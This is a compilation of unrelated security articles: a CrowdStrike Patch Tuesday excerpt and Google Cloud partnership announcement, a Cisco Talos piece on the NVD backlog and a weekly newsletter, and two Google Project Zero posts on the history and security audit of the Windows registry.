Windows products received the most patches this month with 91, followed by Extended Security Update (ESU) with 62 and SQL Server with 38. This represents a consistent uptick in vulnerabilities identified in Extended Support products. In order to ensure the security of endpoints, upgrade to a supported version or purchase Extended Support from the vendor.

Figure 2. Breakdown of product families affected by April 2024 Patch Tuesday

Critical Remote Code Execution Vulnerabilities Affect Microsoft Defender for IoT  

CVE-2024-21323 is a Critical RCE vulnerability affecting Microsoft Defender for IoT and has a CVSS score of 8.8. Successful exploitation of this vulnerability would allow an attacker to send malicious update files to the Defender for IoT sensor, allowing the attacker to overwrite any file on the managed asset. This vulnerability requires the attacker to be authenticated into the IoT sensor with just enough permissions to begin the update process. Any IoT device with the Defender sensor deployed should be updated as soon as possible.

CVE-2024-29053 is another Critical RCE vulnerability that affects the Microsoft Defender for IoT platform and has a CVSS score of 8.8. Successful exploitation of this vulnerability could allow an unauthenticated attacker to upload malicious files to sensitive locations on the server appliance. Leveraging this vulnerability, the attacker could override any files including sensitive ones, thereby disrupting normal operation or inhibiting visibility into the IoT network.

CVE-2024-21322 is yet another Critical RCE vulnerability affecting Microsoft Defender for IoT and has a CVSS score of 7.2. Successful exploitation of this vulnerability would allow the attacker to send arbitrary commands to the managed device, possibly impeding normal functioning of the Defender for IoT monitoring software. This vulnerability requires the attacker to be an administrator of the management console of Defender for IoT on the web. Regular audits and validation of such accounts should be performed to limit risk. 

Table 1. Critical vulnerabilities in Microsoft Defender for IoT

Not All Relevant Vulnerabilities Have Patches: Consider Mitigation Strategies

As we have learned with other notable vulnerabilities, such as Log4j, not every highly exploitable vulnerability can be easily patched. As is the case for the ProxyNotShell vulnerabilities, it’s critically important to develop a response plan for how to defend your environments when no patching protocol exists. 

Regular review of your patching strategy should still be a part of your program, but you should also look more holistically at your organization’s methods for cybersecurity to improve your overall security posture. 

The CrowdStrike Falcon® platform regularly collects and analyzes trillions of endpoint events every day from millions of sensors deployed across 176 countries. Watch this demo to see the Falcon platform in action.

Learn More

Learn more about how CrowdStrike Falcon® Exposure Management can help you quickly and easily discover and prioritize vulnerabilities and other types of exposures here.

About CVSS Scores

The Common Vulnerability Scoring System (CVSS) is a free and open industry standard that CrowdStrike and many other cybersecurity organizations use to assess and communicate software vulnerabilities’ severity and characteristics. The CVSS Base Score ranges from 0.0 to 10.0, and the National Vulnerability Database (NVD) adds a severity rating for CVSS scores. Learn more about vulnerability scoring in this article. 

Additional Resources

• For more information on which products are in Microsoft’s Extended Security Updates program, refer to the vendor guidance here.
• Read the CrowdStrike 2024 Global Threat Report to learn how the threat landscape has shifted in the past year and understand the adversary behavior driving these shifts.
• See how Falcon Exposure Management can help you discover and manage vulnerabilities and other exposures in your environments. 
• Learn how CrowdStrike’s external attack surface module, CrowdStrike® Falcon Surface, can discover unknown, exposed and vulnerable internet-facing assets, enabling security teams to stop adversaries in their tracks.
• Learn how CrowdStrike Falcon® Identity Protection products can stop workforce identity threats faster. 
• Make prioritization painless and efficient. Watch how CrowdStrike Falcon® Spotlight enables IT staff to improve visibility with custom filters and team dashboards. 
• Test CrowdStrike next-gen antivirus for yourself with a free trial of CrowdStrike® Falcon Prevent.

CrowdStrike and Google Cloud today debuted an expanded strategic partnership with a series of announcements that demonstrate our ability to stop cloud breaches with industry-leading AI-powered protection. These new features and integrations are built to protect Google Cloud and multi-cloud customers against adversaries that are increasingly targeting cloud environments.

At a time when cloud intrusions are up 75% year-over-year and adversaries continue to gain speed and stealth, organizations must adjust their security strategies to stay ahead. They need a unified security platform that removes complexity and empowers security and DevOps teams. As organizations navigate the evolving threat and technology landscapes, they turn to providers like CrowdStrike for best-in-class protection from code to cloud, delivered through a unified platform.

Today we are announcing that CrowdStrike is bringing industry-leading breach protection with integrated offerings like CrowdStrike Falcon® Cloud Security, CrowdStrike Falcon® Next-Gen SIEM, CrowdStrike Falcon® Identity Protection and CrowdStrike Falcon endpoint protection bundles as preferred vendor products on Google Cloud Marketplace, accelerating time-to-value and our unified platform adoption for all Google Cloud customers. Now, more businesses than ever will have access to industry-leading security to protect their growing environments from the most advanced threats they face.

But that’s not all. CrowdStrike is innovating and leading to address the critical cloud security needs of today’s organizations by empowering them with unified visibility across their cloud environments, industry-leading threat detection and response, the ability to secure the application life cycle and prioritize remediation, and shift-left capabilities to prevent security issues early in development. Together with Google, we’re bringing these benefits to Google Cloud customers to stop breaches and protect their cloud environments from modern threats.

Below are some key announcements we’re excited to make at Google Cloud Next ’24.

Deeper Integrations

CrowdStrike Supports Google Cloud Run: CrowdStrike is providing support for organizations seeking to pair Google Cloud Run with Falcon Cloud Security. Today, we’re announcing deeper integrations and support for Google Cloud Run. Customers using Google Cloud Run to automatically scale containerized workloads and build container images will be able to secure those processes with Falcon Cloud Security, expanding their coverage and gaining world-class security at the speed of DevOps.

CrowdStrike Supports GKE Autopilot: Falcon Cloud Security now supports Google Kubernetes Engine (GKE) Autopilot, a critical automation tool for Kubernetes cluster deployments. Organizations operating with lean teams and resources can use GKE Autopilot and Falcon Cloud Security to identify critical risks, remediate them faster and run their business more efficiently.

Faster Breach Protection 

OS Configuration Support: Falcon Cloud Security will be able to support a single-click agent deployment to customers in Google Cloud with OS Config support. This support provides customers with a simple way to deploy the CrowdStrike Falcon® sensor across Google Cloud workloads for real-time visibility and breach protection in the cloud.

Figure 1. Falcon Cloud Security’s OS Config agent deployment process made easy

Enhanced Productivity

Falcon Cloud Security Kubernetes Admission Controller: Falcon Cloud Security is now the only cloud security tool on the market with a Kubernetes admission controller as part of a complete code-to-cloud, cloud-native application protection platform (CNAPP). Kubernetes admission controllers simplify the lives of DevSecOps teams by preventing non-compliant containers from deploying and allowing DevSecOps teams to easily stop frustrating crash loops — which cost developers and security teams valuable time — without writing complex Rego rules.

Figure 2. Falcon Cloud Security’s Kubernetes admission controller policies screen

Google Workspace Bundles: CrowdStrike is now providing support to secure the millions of customers using the Google Workspace productivity suite with CrowdStrike’s leading endpoint security and next-generation antivirus protection.

Figure 3. Falcon Cloud Security containers dashboard

CrowdStrike: Built to Protect Businesses in the Cloud

Our expanded strategic alliance with Google marks a significant milestone for cloud security. The powerful combination of AI-powered cloud services from Google Cloud and the unified protection and threat hunting capabilities of the AI-native CrowdStrike Falcon platform provides the security that organizations need to stop breaches in multi-cloud and multi-vendor environments.

As cloud threats and technology continue to evolve, staying ahead of threats is paramount. Modern businesses need a powerful and leading ally to protect their cloud-based resources, applications and data as their reliance on cloud technology continues to grow. This industry-defining synergy between CrowdStrike and Google Cloud — both leaders in their own right — will shape the future of cloud technology and security, setting a new standard for protecting today’s cloud environments.

Additional Resources

• Read the press release to learn more.
• Learn how Falcon Cloud Security can protect your Google Cloud resources.
• See why Forrester named CrowdStrike a Leader in The Forrester Wave: Cloud Workload Security, Q1 2024. 
• Get a free Cloud Security Health Check and experience Falcon Cloud Security in action for yourself.  

The National Vulnerability Database is usually the single source of truth for all things related to security vulnerabilities.  

But now, they’re facing an uphill battle against a massive backlog of vulnerabilities, some of which are still waiting to be analyzed, and others that still have an inaccurate or altogether missing severity score.  

As of April 9, 5,799 CVEs that have been published since Feb. 15, 2024, remain unanalyzed. 

As the backlog piles up, it’s unclear how, or when, the NVD is going to get back to its regular cadence of processing, scoring and analyzing vulnerabilities that are submitted to the U.S. government repository. At its current pace, the NVD is analyzing about 2.9 percent of all published CVEs it's been sent, well behind its pace in previous years. If there were no new CVEs submitted today, it could take the NVD more than 91 days to empty that backlog and get caught up. 

Given the state of the NVD and vulnerability management, we felt it was worth looking at the current state of the NVD, how we got to this point, what it means for security teams, and where we go from here. 

What is the NVD? 

The U.S.’s National Vulnerability Database provides the most comprehensive list of CVEs anywhere. This tracks security vulnerabilities in hardware and software and distributes that list to the public for anyone to use.  

This data enables organizations and large networks to automate vulnerability management, take appropriate security steps when a new vulnerability is discovered, important references and metrics that indicate how serious a particular vulnerability is.  

The U.S. National Institute of Standards and Technology (NIST) has managed the NVD since 2000, when it was started as the Internet Category of Attack toolkit. It eventually morphed into the NVD, which passed the 150,000-vulnerability mark in 2021.  

In addition to simply listing the CVEs that are regularly disclosed, the NVD scores vulnerabilities using the CVSS system, which often differ from the initial severity score that’s assigned by the researcher that discovers the vulnerability, or the company or organization behind the affected product or software. 

Since the creation of I-CAT, no other organization or private company has as comprehensive of a list of vulnerabilities as the NVD, nor do they offer it for free like NIST does.  

Why is the backlog a problem? 

On the surface, it may seem like the fact that the NVD has been slow to analyze CVEs isn’t all that bad, considering security issues are still being disclosed and patched every day (think: Microsoft Patch Tuesday). 

However, the lack of a single source of CVEs augmented information is detrimental to administrators, security researchers and users, and security experts are warning that the issue needs to be addressed quickly, or an alternative needs to be adopted.  

With the NVD being a collection of all this information, it’s up to the individual vendors to responsibly disclose and release vulnerabilities discovered in their products, which puts the onus on administrators to track that information down. If someone who handles patch management for a network was relying on the NVD for their information, that list is likely outdated at this point, and instead, they need to visit each individual vendor to find out what vulnerabilities were recently disclosed in their products, and how large of a risk they present.  

On any given network, that could be dozens to even hundreds of vendors, and while massive companies like Apple and Microsoft have easy-to-access security and vulnerability information, smaller open-source projects may not have the same resources that administrators need.  

The NVD is also the most trusted source for severity scores. Their calculations are generally what most users see when they read a security advisory. But without their input, it’s on the researcher or vendor to assign a score, instead. Under that system, there is no guarantee that a company may not want to score their vulnerability higher so it does not seem as serious, while researchers may want to bump up the severity of the issue they find so they are credited with discovering a higher-severity issue.  

As Talos has discussed before, a CVSS score is not the only metric worth relying on when patching, but it does play a major role in how the public views vulnerabilities and whether they’re likely to be exploited in the wild. According to Talos’ 2023 Year in Review report, eight of the 10 most-exploited CVEs last year received a severity score of 9.3 or higher. Any sense of uncertainty around CVSS scores can leave administrators scratching their heads and without a “north star” for patch management. 

The recent xz Utility vulnerability that was luckily prevented before any attackers could exploit it still does not have a Common Weakness Enumeration (CWE) assigned to it as of April 10 because of the backlog. Had an exploit for this been used, defenders would be missing crucial context and information for defending against this backdoor. 

How did this backlog develop? 

NIST has been relatively vague about why the agency has been slow to process new vulnerabilities. The first sign of trouble came in February, when NIST released a statement that a “growing backlog of vulnerabilities” had developed because of “an increase in software and, therefore, vulnerabilities, as well as a change in interagency support.” 

NIST’s budget was cut by about 12 percent after the recent package of funding bills passed by U.S. Congress, as well. 

The agency also said in February that additional NIST staff were being shifted around to address the backlog, and at the recent VulnCon and Annual CNA Summit, the NVD program director promised that NIST was developing a consortium to help address the issues with the NVD.  

The total number of vulnerabilities disclosed continues to increase every year, driven by larger amounts of software on the market and increased visibility into security concerns and research. Last year, there were 28,961 CVEs disclosed, according to the CVE Program, an increase of 15 percent from 2022. The last time there were fewer CVEs assigned in a year compared to the year prior was in 2016. 

What are some potential solutions? 

NIST has continued to publicly support the NVD and says it's preparing to revitalize the database. But it’s unclear what short- or long-term solutions or alternatives exist. 

Jerry Gamblin, a principal threat detection and response engineer for Cisco Vulnerability Management, said there has yet to be a company or organization willing to take on the monstrous task of tracking and scoring *every* CVE, especially for free.  

Other vulnerability catalogs exist like the Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) catalog, but the KEV only lists vulnerabilities that have actively been exploited in the wild. 

In short — all the potential alternatives are imperfect. 

“We can get the data from anywhere, and AI data could even help, but people just need to decide,” Gamblin said. “Is there going to be just one source of data? And who is the source of truth for this data? Who owns this data?” 

A private company like MITRE could step up to create its own solution, but it’d likely want to charge for access to that database. Any non-profit organization who also wants to step up would also likely need a massive influx of money and manpower to address the sheer volume of CVEs that come in every day. 

And while NIST says the consortium is in the works, there’s no timetable for how long it could take for that to be established, and which private companies would be involved.  

For now, it’s best to stick to tried-and-true patching strategies that have worked for years. Software, like Cisco Vulnerability Management, which has not been affected by the NVD backlog, can also assist in automating the patching process and prioritizing which vulnerabilities to patch first.  

If you’re a regular reader of this newsletter, you already know about how strongly I feel about the dangers of spreading fake news, disinformation and misinformation. 

And honestly, if you’re reading this newsletter, I probably shouldn’t have to tell you about that either. But one of the things that always frustrates me about this seemingly never-ending battle against disinformation on the internet, is that there aren’t any real consequences for the worst offenders. 

At most, someone who intentionally or repeatedly shares information on their social platform that’s misleading or downright false may have their account blocked, suspended or deleted, or just that one individual post might be removed.  

Twitter, which has become one of the worst offenders for spreading disinformation, has gotten even worse about this over the past few years and at this point doesn’t do anything to these accounts, and in fact, even promotes them in many ways and gives them a larger platform. 

Meta, for its part, is now hiding more political posts on its platforms in some countries, but at most, an account that shares fake news is only going to be restricted if enough people report it to Meta’s team and they choose to take action.  

Now, I’m hoping that Brazil’s Supreme Court may start imposing some real-world consequences on individuals and companies that support, endorse or sit idly by while disinformation spreads. Specifically, I’m talking about a newly launched investigation by the court into Twitter/X and its owner, Elon Musk.  

Brazil’s Supreme Court says users on the platform are part of a massive misinformation campaign against the court’s justices, sharing intentionally false or harmful information about them. Musk is also facing a related investigation into alleged obstruction.  

The court had previously asked Twitter to block certain far-right accounts that were spreading fake news on Twitter, seemingly one of the only true permanent bans on a social media platform targeting the worst misinformation offenders. Recently, Twitter has declined to block those accounts. 

This isn’t some new initiative, though. Brazil’s government has long looked for concrete ways to implement real-world punishments for spreading disinformation. In 2022, the Supreme Court signed an agreement with the equivalent of Brazil’s national election commission “to combat fake news involving the judiciary and to disseminate information about the 2022 general elections.” 

Brazil’s president (much like the U.S.) has been battling fake news and disinformation for years now, making any political conversation there incredibly divisive, and in many ways, physically dangerous. I’m certainly not an authority enough on the subject to comment on that and the ways in which the term “fake news” has been weaponized to literally challenge what is “fact” in our modern society.  

And I could certainly see a world in which a high court uses the term “fake news” to charge and prosecute people who are, in fact, spreading *correct* and verifiable information.  

But, even just forcing Musk or anyone at Twitter to answer questions about their blocking policies could bring an additional layer of transparency to this process. Suppose we want to really get people to stop sharing misleading information on social media. In that case, it needs to eventually come with real consequences, not just a simple block when they can launch a new account two seconds later using a different email address. 

The one big thing 

Talos recently discovered a new threat actor we're calling “Starry Addax” targeting mostly human rights activists associated with the Sahrawi Arab Democratic Republic (SADR) cause. Starry Addax primarily uses a new mobile malware that it infects users with via phishing attack, tricking their targets into installing malicious Android applications we’re calling “FlexStarling.” The malicious mobile application (APK), “FlexStarling,” analyzed by Talos recently masquerades as a variant of the Sahara Press Service (SPSRASD) App. 

Why do I care? 

The targets in this campaign's case are considered high-risk individuals, advocating for human rights in the Western Sahara. While that is a highly focused particular demographic, FlexStarling is still a highly capable implant that could be dangerous if used in other campaigns. Once infected, Starry Addax can use their malware to steal important login credentials, execute remote code or infect the device with other malware.  

So now what? 

This campaign's infection chain begins with a spear-phishing email sent to targets, consisting of individuals of interest to the attackers, especially human rights activists in Morocco and the Western Sahara region. If you are a user who feels you could be targeted by these emails, please pay close attention to any URLs or attachments used in emails with these themes and ensure you’re only visiting trusted sites. The timelines connected to various artifacts used in the attacks indicate that this campaign is just starting and may be in its nascent stages with more infrastructure and Starry Addax working on additional malware variants. 

Top security headlines of the week 

A threat actor with ties to Russia is suspected of infecting the network belonging to a rural water facility in Texas earlier this year. The hack in the small town of Muleshoe, Texas in January caused a water tower to overflow. The suspect attack coincided with network intrusions against networks belonging to two other nearby towns. While the attack did not disrupt drinking water in the town, it would mark an escalation in Russian APTs’ efforts to spy on and disrupt American critical infrastructure. Security researchers this week linked a Telegram channel that took credit for the activity with a group connected to Russia’s GRU military intelligence agency. The adversaries broke into a remote login system used in ICS, which allowed the actors to interact with the water tank. It overflowed for about 30 to 45 minutes before officials took the machine offline and switched to manual operations. According to reporting from CNN, a nearby town called Lockney detected “suspicious activity” on the town’s SCADA system. And in Hale Center, adversaries also tried to breach the town network’s firewall, which prompted them to disable remote access to its SCADA system. (CNN, Wired) 

Meanwhile, Russia’s Sandworm APT is also accused of being the primary threat actor carrying out Russia’s goals in Ukraine. New research indicates that the group is responsible for nearly all disruptive and destructive cyberattacks in Ukraine since Russia's invasion in February 2022. One attack involved Sandworm, aka APT44, disrupting a Ukrainian power facility during Russia’s winter offensive and a series of drone strikes targeting Ukraine’s energy grid. Recently, the group’s attacks have increasingly focused on espionage activity to gather information for Russia’s military to use to its advantage on the battlefield. The U.S. indicated several individuals for their roles with Sandworm in 2020, but the group has been active for more than 10 years. Researchers also unmasked a Telegram channel the group appears to be using, called “CyberArmyofRussia_Reborn.” They typically use the channel to post evidence from their sabotage activities. (Dark Reading, Recorded Future) 

Security experts and government officials are bracing for an uptick in offensive cyber attacks between Israel and Iran after Iran launched a barrage of drones and missiles at Israel. Both countries have dealt with increased tensions recently, eventually leading to the attack Saturday night. Israel’s leaders have already been considering various responses to the attack, among which could be cyber attacks targeting Iran in addition to any new kinetic warfare. Israel and Iran have long had a tense relationship that included covert operations and destructive cyberattacks. Experts say both countries have the ability to launch wiper malware, ransomware and cyber attacks against each other, some of which could interrupt critical infrastructure or military operations. The increased tensions have also opened the door to many threat actors taking claims for various cyber attacks or intrusions that didn’t happen. (Axios, Foreign Policy) 

Can’t get enough Talos? 

• Cisco Warns of Global Surge in Brute-Force Attacks Targeting VPN and SSH Services 
• Decade-old malware haunts Ukrainian police 
• Attackers are pummeling networks around the world with millions of login attempts 
• OfflRouter virus causes Ukrainian users to upload confidential documents to VirusTotal 
• Large-scale brute-force activity targeting VPNs, SSH services with commonly used login credentials 
• Talos Takes Ep. #179: Why we need to stop calling as-a-service group takedowns "takedowns" 

Upcoming events where you can find Talos 

 Botconf (April 23 - 26) 

Nice, Côte d'Azur, France

This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.

CARO Workshop 2024 (May 1 - 3) 

Arlington, Virginia

Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

RSA (May 6 - 9) 

San Francisco, California    

Most prevalent malware files from Talos telemetry over the past week 

This section will be on a brief hiatus while we work through some technical difficulties. 

Posted by Mateusz Jurczyk, Google Project Zero

Before diving into the low-level security aspects of the registry, it is important to understand its role in the operating system and a bit of history behind it. In essence, the registry is a hierarchical database made of named "keys" and "values", used by Windows and applications to store a variety of settings and configuration data. It is represented by a tree structure, in which keys may have one or more sub-keys, and every subkey is associated with exactly one parent key. Furthermore, every key may also contain one or more values, which have a type (integer, string, binary blob etc.) and are used to store actual data in the registry. Every key can be uniquely identified by its name and the names of all of its ascendants separated by the special backslash character ('\'), and starting with the name of one of the top-level keys (HKEY_LOCAL_MACHINE, HKEY_USERS, etc.). For example, a full registry path may look like this: HKEY_CURRENT_USER\Software\Microsoft\Windows. At a high level, this closely resembles the structure of a file system, where the top-level key is equivalent to the root of a mounted disk partition (e.g. C:\), keys are equivalent to directories, and values are equivalent to files. One important distinction, however, is that keys are the only type of securable objects in the registry, and values play a much lesser role in the database than files do in the file system. Furthermore, specific subtrees of the registry are stored on disk in binary files called registry hives, and the hive mount points don't necessarily correspond one-to-one to the top-level keys (e.g. the C:\Windows\system32\config\SOFTWARE hive is mounted under HKEY_LOCAL_MACHINE\Software, a one-level nested key).

Fundamentally, there are only a few basic operations that can be performed in the registry. These operations are summarized in the table below:

Before we dive into any of them in particular, let's first trace the registry's evolution and the path that led to its current state.

Windows 3.1

The registry was first introduced in Windows 3.1 released in 1992. It was designed as a centralized configuration store meant to address the many shortcomings of basic text configuration files from MS-DOS (e.g. config.sys) and the slightly more structured .INI files from very early versions of Windows. But the first registry was nothing like we know it today: there was only one top-level key (an equivalent of HKEY_CLASSES_ROOT) and only one hive (C:\windows\reg.dat) limited to 64 KB in size, formatted in a custom binary format represented by the magic bytes "SHCC3.10". There were no values (data was assigned directly to keys), and the registry was used solely for OLE/COM and file type registration. This is what the first Regedit.exe looked like when launched in advanced mode:

The first Registry Editor running on Windows 3.1

Despite its limitations, the Windows 3.1 registry was an important milestone, as it established long-lasting concepts like its hierarchical structure and paved the way for today's advanced registry features.

Windows NT 3.1, 3.5 and 3.51

One year later in 1993, a new version of Windows was released based on a completely refreshed and more robust kernel design: Windows NT 3.1. To this day, the original NT kernel continues to be the underpinning of all modern versions of Windows up to and including Windows 11 – and the same can be said for its registry implementation. The biggest functional registry changes found in Windows NT 3.x as compared to Windows 3.1 were:

• Introducing many new top-level keys (HKLM, HKCU, HKU) and thus extending the scope of information intended to be stored in the registry.
• Replacing the single reg.dat hive file with a number of separate hives (default, sam, security, software, system located in C:\winnt\system32\config).
• Introducing named values with several possible data types.
• Making registry keys securable.
• Eliminating the 64 KB registry hive limit.

To accommodate these new features, Windows adopted a novel binary format called "regf", which was specifically designed to support the expanded functionality. The core principles behind the format remained unchanged across the NT 3.x version line, but it continued to internally evolve, as signified by the increasing version numbers encoded in the hive file headers. Specifically, pre-release builds of Windows NT 3.1 used regf v1.0, Windows NT 3.1 RTM used regf v1.1, and Windows NT 3.5 and 3.51 used regf v1.2.

Lastly, while Regedit.exe remained the simplistic "Registration Info Editor", a new utility, RegEdt32.exe, was added with far more options and unrestricted access to the system registry. Despite its dated appearance, the structure of the UI began to resemble the shape of the modern registry and the core concepts behind today's registry editor:

RegEdt32.exe running on Windows NT 3.1

Notably, Windows NT 3.1 was the first system whose parts of code are still used today in Windows 11. Based on this observation, we can now confidently claim that the registry code base is over 30 years old.

Windows 95

Not long after, in the summer of 1995, Windows 95 was officially released to the public. It quickly became a huge hit, mostly thanks to innovations in the user interface – it was the first version to feature a taskbar, the Start menu, and the general look and feel that we now associate with Windows. With regards to the registry internals, though, it wasn't particularly interesting. It continued the trend started by Windows NT 3.x of expanding the registry into an even more central part of the operating system, and borrowed many of the same high-level concepts. However, since it was based on a completely different kernel than NT, the underlying registry implementation differed, too. All of the registry data was typically stored in just two files: C:\WINDOWS\System.dat and C:\WINDOWS\User.dat. They were encoded in yet another binary format indicated by the "CREG" signature, which was more capable than the Win3.1 format, but inferior to WinNT's regf (e.g. it didn't support security descriptors). The same format was later inherited by subsequent systems from the 9x series, namely Windows 98 and Me, but its legacy ended there. According to my knowledge, the CREG format had minimal impact on the registry's development in the NT line, so a deeper discussion of its internals isn't necessary.

Arguably, the one thing that had the most lasting impact in Windows 95 related to registry was the complete redesign of Regedit.exe, both functionally and visually. It gained the ability to browse the entire registry tree, read existing values and create new ones, rename keys, and search for text strings within keys, values and data. At first glance, it looks almost identical to the modern Registry Editor, with the exception of a few missing options, such as loading custom hives or managing key security. Even the program icon has remained largely unchanged and to many power users, it is synonymous with the Windows registry up to this day:

Redesigned Regedit.exe running on Windows 95

Windows NT 4.0

The debut of Windows NT 4.0 in 1996 marked another important milestone for the registry, but this time mostly on the technical side. In terms of visuals, NT 4.0 adopted the same graphical interface as Windows 95, including the new and improved Regedit.exe. As a result of the Regedit addition, Windows NT 4.0 now included two competing registry editors: Regedit from Windows 95 and RegEdt32 from Windows NT 3.x. They shared some overlapping functionality (e.g. the ability to manually traverse the registry and inspect individual values), but each offered some unique features too: only Regedit was capable of searching for data in values, while only RegEdt32 supported managing the security of registry keys. I suspect that the presence of two different tools must have been confusing for users who wanted to modify the system's internal settings: not only did they have to understand the structure of the registry and how to navigate it, but also know which tool to use for a specific task. Both utilities made their way into Windows 2000, but they were finally merged in Windows XP into a single Regedit.exe program. RegEdt32.exe can still be found on modern versions of Windows in C:\Windows\system32 as a historical artifact, but all it currently does is just launch Regedit.exe and terminate.

As mentioned earlier, the really important changes in NT 4.0 happened under the hood. Between the release of NT 3.51 and NT 4.0, the kernel developers updated some internal aspects of the regf format to simplify it and make it more efficient. Furthermore, a new optimization called "fast leaves" was introduced, which added special four-byte hints to the subkey lists in order to speed up key lookups. These changes were substantial and not backwards-compatible, so the version had to be increased again, leading to regf v1.3. This is noteworthy because 1.3 is the earliest hive type that is considered a modern version and that is still supported by today's Windows 10 and 11, even though newer format versions up to 1.6 exist now too. It means that one can copy a hive file off of a Windows NT 4.0 system, load it in Regedit on Windows 11, examine and modify it, copy it back, and each of these steps will work without issue. What is more, the support is not just there for reading archival hives – in documented API functions such as RegSaveKeyExA, version 1.3 is represented by the REG_STANDARD_FORMAT enum, indicating that it is considered the "standard" even as of today. And indeed, there are some core system hives in Windows 11, such as UsrClass.dat mounted at HKEY_USERS\<SID>_Classes, that are still encoded in the regf v1.3 format. So in that sense, Windows NT 4.0 and 11, despite being released decades apart and representing vastly different technological eras, exhibit a fundamental connection.

Modern times

Based on the fact that both the regf hive format and the graphical interface of Regedit have essentially remained the same between 1996 and 2024, one could assume that the internal registry implementation hasn't changed that much, either. We can try to prove or disprove this hypothesis by performing a little experiment, measuring the volume of registry-related code in each consecutive version of Windows. To ensure a consistent methodology and make the survey security-relevant, we will focus on the kernel-mode part of the Configuration Manager, which largely constitutes a local attack surface. Such an analysis is technically feasible and even relatively easy to achieve, because:

• The entirety of the kernel registry-related code is compiled into a single executable image: ntoskrnl.exe.
• Debug symbols (PDB/DBG files) for the kernels of all NT-family systems were made publicly available by Microsoft, either via the Microsoft Symbol Server, symbol packages downloadable from the Microsoft website, or symbol files bundled with the system installation media.
• The kernel code follows a consistent naming convention, where all function names related to the registry start with either "Hv" (standing for Hive), "Cm" (standing for Configuration Manager) or "Vr" (likely standing for Virtualized Registry), with a few minor exceptions.
• There are some very good reverse-engineering tools available today, which can help us count the number of assembly instructions or even the number of decompiled C-like source code lines corresponding to the registry engine.

In my case, I used IDA Pro with Hex-Rays to decompile the entire kernel of each NT-line system, and then ran a post-processing script to extract the registry related functions. After counting the numbers of lines and plotting them on a diagram, here is what we get:

As we can see, there has been an enormous, steady growth of the code base, starting at around 10,000 lines of code in NT 4.0 and increasing tenfold to around 100,000 lines in Windows 11. It is important to reiterate that this only covers the kernel portions of the registry and ignores code found in user-mode libraries such as advapi32.dll, KernelBase.dll or ntdll.dll. Furthermore, I expect that the decompiled code is more dense than the original source code because it doesn't include any comments or whitespace. Taking all this into account, the total extent of the registry code managed by Microsoft is probably much bigger than the numbers shown above.

Going back to the kernel registry code, its expansion in time has been substantial, both in absolute and relative terms. But if these developments are invisible to the average user, what does all of the new code do? The changes can be divided into three major categories:

• Optimizations: changes making the registry more efficient, e.g. introducing a "hash leaf" subkey index type to make key lookups even faster in regf v1.5, or adding a native system call to rename keys in-place without involving an expensive copy+delete operation on an entire subtree.
• Backwards compatibility: changes meant to make legacy applications run seamlessly on modern systems, e.g. registry virtualization.
• New features: changes adding new functionality to the registry or adapting it to new use cases. These are either made available via a new API (thus mainly relevant to software developers), or not documented at all and only used by Windows internally. Examples include support for values larger than 1 MB, registry callbacks, support for transactions, application hives, and differencing hives.

Interestingly, the biggest changes weren't occurring with any regularity, but rather were concentrated in just four versions of Windows: NT 3.1–4.0, XP, Vista and 10 Anniversary Update (1607). This is illustrated in the timeline below:

This is of course not an exhaustive list: it includes the features that I have found to be the most interesting during the security audit, but it is missing modifications related to incremental logging, improvements to how hive files are managed and mapped in memory, and many other optimizations, stability improvements and refactorings implemented by Microsoft throughout the years. But it goes to show that the registry is a highly complex part of the Windows kernel, and one with a lot of potential for deep, interesting bugs just waiting to be discovered.

In the next post, I will share a number of useful sources of information I have discovered while researching the registry. Some of them may be more obvious than others, but all of them have significantly helped me understand certain aspects of the technology or given me the necessary context that I was missing. Until next time!

Posted by Mateusz Jurczyk, Google Project Zero

In the 20-month period between May 2022 and December 2023, I thoroughly audited the Windows Registry in search of local privilege escalation bugs. It all started unexpectedly: I was in the process of developing a coverage-based Windows kernel fuzzer based on the Bochs x86 emulator (one of my favorite tools for security research: see Bochspwn, Bochspwn Reloaded, and my earlier font fuzzing infrastructure), and needed some binary formats to test it on. My first pick were PE files: they are very popular in the Windows environment, which makes it easy to create an initial corpus of input samples, and a basic fuzzing harness is equally easy to develop with just a single GetFileVersionInfoSizeW API call. The test was successful: even though I had previously fuzzed PE files in 2019, the new element of code coverage guidance allowed me to discover a completely new bug: issue #2281.

For my next target, I chose the Windows registry. That's because arbitrary registry hives can be loaded from disk without any special privileges via the RegLoadAppKey API (since Windows Vista). The hives use a binary format and are fully parsed in the kernel, making them a noteworthy local attack surface. Furthermore, I was also somewhat familiar with basic harnessing of the registry, having fuzzed it in 2016 together with James Forshaw. Once again, the code coverage support proved useful, leading to the discovery of issue #2299. But when I started to perform a root cause analysis of the bug, I realized that:

• The hive binary format is not very well suited for trivial bitflipping-style fuzzing, because it is structurally simple, and random mutations are much more likely to render (parts of) the hive unusable than to trigger any interesting memory safety violations.
• On the other hand, the registry has many properties that make it an attractive attack surface for further research, especially for manual review. It is 30+ years old, written in C, running in kernel space but highly accessible from user-mode, and it implements much more complex logic than I had previously imagined.

And that's how the story starts. Instead of further refining the fuzzer, I made a detour to reverse engineer the registry implementation in the Windows kernel (internally known as the Configuration Manager) and learn more about its inner workings. The more I learned, the more hooked I became, and before long, I was all-in on a journey to audit as much of the registry code as possible. This series of blog posts is meant to document what I've learned about the registry, including its basic functionality, advanced features, security properties, typical bug classes, case studies of specific vulnerabilities, and exploitation techniques.

While this blog is one of the first places to announce this effort, I did already give a talk titled "Exploring the Windows Registry as a powerful LPE attack surface" at Microsoft BlueHat Redmond in October 2023 (see slides and video recording). The upcoming blog posts will go into much deeper detail than the presentation, but if you're particularly curious and can't wait to find out more, feel free to check these resources as a starter. 🙂

Research results

In the course of the research, I filed 39 bug reports in the Project Zero bug tracker, which have been fixed by Microsoft as 44 CVEs. There are a few reasons for the discrepancy between these numbers:

• Some single reports included information about multiple problems, e.g. issue #2375 was addressed by four CVEs,
• Some groups of reports were fixed with a single patch, e.g. issues #2392 and #2408 as CVE-2023-23420,
• One bug report was closed as WontFix and not addressed in a security bulletin at all (issue #2508).

